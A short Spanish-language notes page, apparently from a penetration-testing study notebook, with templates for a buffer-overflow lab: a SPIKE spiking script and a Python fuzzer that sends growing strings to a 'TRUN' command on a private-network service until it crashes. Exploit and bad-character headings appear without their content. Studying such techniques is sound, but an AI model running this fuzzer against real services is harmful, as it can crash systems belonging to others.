Buffer Overflow

Aquí voy a dejar todas las templates de los scripts que voy a estar utilizando para la explotación del buffer overflow.

Spiking

s_readline();
s_string("STATS ");
s_string_variable("0");

Fuzzing

#!/usr/bin/env python3
  
import socket, time, sys
  
ip = "192.168.146.137"
  
port = 9999
timeout = 1
prefix = "TRUN /.:/ "
  
string = prefix + "A" * 100
  
 while True:
   try:
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
       s.settimeout(timeout)
       s.connect((ip, port))
       s.recv(1024)
       print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
       s.send(bytes(string, "latin-1"))
       s.recv(1024)
   except:
     print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
     sys.exit(0)
   string += 100 * "A"
   time.sleep(1)

Exploit.py

Exploitoffsetexample.py

Badchars

Ejemplo de buenos chars, todo bien

Todo ok

Ejemplo de badchars

bad chars

Last updated